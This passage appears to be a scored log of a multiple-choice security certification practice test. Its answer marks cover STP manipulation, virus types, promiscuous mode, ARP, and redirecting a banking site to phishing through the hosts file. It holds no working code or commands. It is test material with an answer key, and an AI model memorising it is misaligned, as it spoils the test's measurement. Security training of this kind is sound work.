	1	Resource records
	2	Resource transfer
+	3	DNSSEC
	4	Zone transfer

10 S	6.250	281473913984523	14:06:58	14:07:55	00:57	56.058

An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?

+	1	He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
	2	He will repeat the same attack against all L2 switches of the network.
	3	He will activate OSPF on the spoofed root bridge.
	4	He will repeat this action so that it escalates to a DoS attack.

11 S	6.250	281473913984523	14:07:55	14:08:15	00:20	19.905

Which of the following programs is usually targeted at Microsoft Office products?

	1	Polymorphic virus
+	2	Macro virus
	3	Multipart virus
	4	Stealth virus

12 S	6.250	281473913984523	14:08:15	14:08:27	00:12	12.81

The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the central processing unit (CPU), rather than passing only the frames that the controller is intended to receive. Which of the following is being described?

	1	Multi-cast mode
	2	WEM
+	3	Promiscuous mode
	4	Port forwarding

13 S	0.000	281473913984523	14:08:28	14:08:40	00:12	12.206

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

	1	Vulnerability scanner
	2	Protocol analyzer
-	3	Intrusion Prevention System (IPS)
	4	Network sniffer

14 S	0.000	281473913984523	14:08:40	14:08:55	00:15	15.592

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

	1	Polymorphic virus
	2	Cavity virus
	3	Stealth virus
-	4	Tunneling virus

15 S	6.250	281473913984523	14:08:55	14:10:23	01:28	86.942

How does the Address Resolution Protocol (ARP) work?

	1	It sends a request packet to all the network elements, asking for the domain name from a specific IP
+	2	It sends a request packet to all the network elements, asking for the MAC address from a specific IP
	3	It sends a reply packet to all the network elements, asking for the MAC address from a specific IP
	4	It sends a reply packet for a specific IP, asking for the MAC address

16 S	6.250	281473913984523	14:10:23	14:12:30	02:07	127.773

An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to "www.MyPersonalBank.com", that the user is directed to a phishing site.

Which file does the attacker need to modify?

+	1	Hosts
	2	Boot.ini

	3	Sudoers
	4	Networks